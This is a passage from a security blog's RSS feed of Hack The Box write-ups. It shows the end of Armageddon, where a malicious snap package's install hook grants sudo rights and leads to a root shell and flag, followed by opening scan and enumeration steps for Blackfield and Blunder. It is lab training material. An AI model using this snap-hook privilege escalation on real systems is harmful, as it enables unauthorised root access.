<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">The</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> requested</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> action</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> has</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> already</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> been</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> taken.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Consider</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">specifying</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> parts,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> or</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> clean</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> steps</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> you</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> want</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> run</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> again.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Snapping</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Snapped</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> evil-snap_0.1_all.snap</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> tree </span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">.</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">├──</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> evil-snap_0.1_all.snap</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">└──</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> snap</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    ├──</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> hooks</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    │&nbsp;&nbsp;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> └──</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> install</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    └──</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> snapcraft.yaml</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">2</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> directories,</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 3</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> files</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Code and compiled snap package can be found here <a href="/documents/htb-armageddon/evil-snap.zip">archive</a>.</p>
<p>I transferred the file on the server with the command <code>scp</code> and ran the installation of the <code>evil-snap</code> packet.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> scp evil-snap_0.1_all.snap brucetherealadmin@10.10.10.233:/home/brucetherealadmin/</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">brucetherealadmin@10.10.10.233</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">'s password:</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">evil-snap_0.1_all.snap</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">&gt; ssh brucetherealadmin@10.10.10.233</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">brucetherealadmin@10.10.10.233'</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">s</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> password:</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Last</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> login:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Fri</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Apr</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 16</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 13:35:29</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2021</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> from</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.14.160</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[brucetherealadmin@armageddon </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">~</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]$ ls</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">evil-snap_0.1_all.snap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  user.txt</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[brucetherealadmin@armageddon </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">~</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]$ sudo snap install --devmode evil-snap_0.1_all.snap</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[sudo] password </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> brucetherealadmin:</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">evil-snap</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0.1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> installed</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I verified that the command was executed by checking the sudo configuration for the user <code>brucetherealadmin</code>.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[brucetherealadmin@armageddon </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">~</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]$ sudo -l</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Matching</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Defaults</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> entries</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> brucetherealadmin</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> armageddon:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">    !</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">visiblepw,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> always_set_home,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> match_group_by_gid,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> always_query_group_plugin,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_reset,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    LC_CTYPE",</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    XAUTHORITY",</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> secure_path=/sbin</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/bin</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/usr/sbin</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/usr/bin</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">User</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> brucetherealadmin</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> may</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> run</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> following</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> commands</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> armageddon:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    (</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">root</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">NOPASSWD:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /usr/bin/snap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> install</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B"> *</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    (</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">ALL</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ALL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">ALL</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Configuration is well applied on the machine, it is know possible to execute any command with the <code>sudo</code> binary.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[brucetherealadmin@armageddon </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">~</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]$ sudo su</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[root@armageddon brucetherealadmin]# whoami; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">hostname</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">root</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">armageddon.htb</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>Flag</h3>
<p>The root flag <code>9dcf9d264e8bd066f405cc5ac0587da7</code> was retrieved on the machine.</p>
<figure><figcaption>root-flag</figcaption></figure>
]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Blackfield</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Blackfield.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Blackfield.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Blackfield</source>
      <description>box_informationsbox_informations Scan As usual, both a TCP and UDP port scan were done on the box. The TCP scan revealed that the following ports were open: User Enumeration The...</description>
      <category>Write-Up</category>
      <pubDate>Wed, 04 Nov 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both a TCP and UDP port scan were done on the box. The TCP scan revealed that the following ports were open:</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"># Nmap 7.80 scan initiated Mon Aug 17 08:31:48 2020 as: nmap -p- -sV -A --open -Pn -oA nmap_all_tcp.txt 10.10.10.192</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Nmap scan report </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.192</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Host is up (</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0.</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">026s latency).</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Not shown: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">65527</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> filtered ports</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Some closed ports may be reported as filtered due to </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">--</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">defeat</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">rst</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ratelimit</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">PORT     STATE SERVICE       VERSION</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">53</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">tcp   open  domain?</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">88</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">tcp   open  kerberos</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">sec  Microsoft Windows Kerberos (server time: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2020</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">08</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">17</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 19</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">44</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:27Z)</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">135</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">tcp  open  msrpc         Microsoft Windows RPC</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">389</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0.</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Site: </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">Default</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">First</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Site</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Name)</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">445</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">tcp  open  microsoft</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ds?</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">593</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">tcp  open  ncacn_http    Microsoft Windows RPC over HTTP </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1.0</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">3268</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0.</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Site: </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">Default</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">First</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Site</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Name)</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">5985</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">tcp open  http          Microsoft HTTPAPI httpd </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2.0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (SSDP</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">UPnP)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Service Info: Host: DC01; OS: Windows; CPE: cpe:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">o:microsoft:windows</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>User Enumeration</h2>
<p>The port TCP/445 was found to be open on the box. The service was tried to be accessed as an anonymous user.
Available shares were listed and the share <code>profiles$</code> was found to be readable as an anonymous user.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">$</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> smbclient </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">N </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">L </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.192</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Sharename       Type      Comment</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Blunder</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Blunder.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Blunder.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Blunder</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP ports were scanned. The TCP scan revealed that the following ports are open: open_tcp_ports_nmap Web Discovery T...</description>
      <category>Write-Up</category>
      <pubDate>Sun, 23 Aug 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP ports were scanned. The TCP scan revealed that the following ports are open:
</p>
<h2>Web Discovery</h2>
<p>The website was visited and seemed to be a blog.</p>
<figure><figcaption>home_page</figcaption></figure>
<p>A quick enumeration was done with <code>Gobuster</code>.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">gobuster dir </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">x </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"php,txt,log,txt"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">w </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">usr</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">share</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">wordlists</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">dirb</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">common.txt </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">e </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">t </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">b </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"403,404"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">u http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">o output_gobuster.txt</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">===============================================================</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Gobuster v3.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0.1</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">by OJ Reeves (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">@TheColonial</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&amp;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Christian Mehlmauer (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">@_FireFart_</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">===============================================================</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Url:                     http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.191</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Threads:                 </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10</span></span>
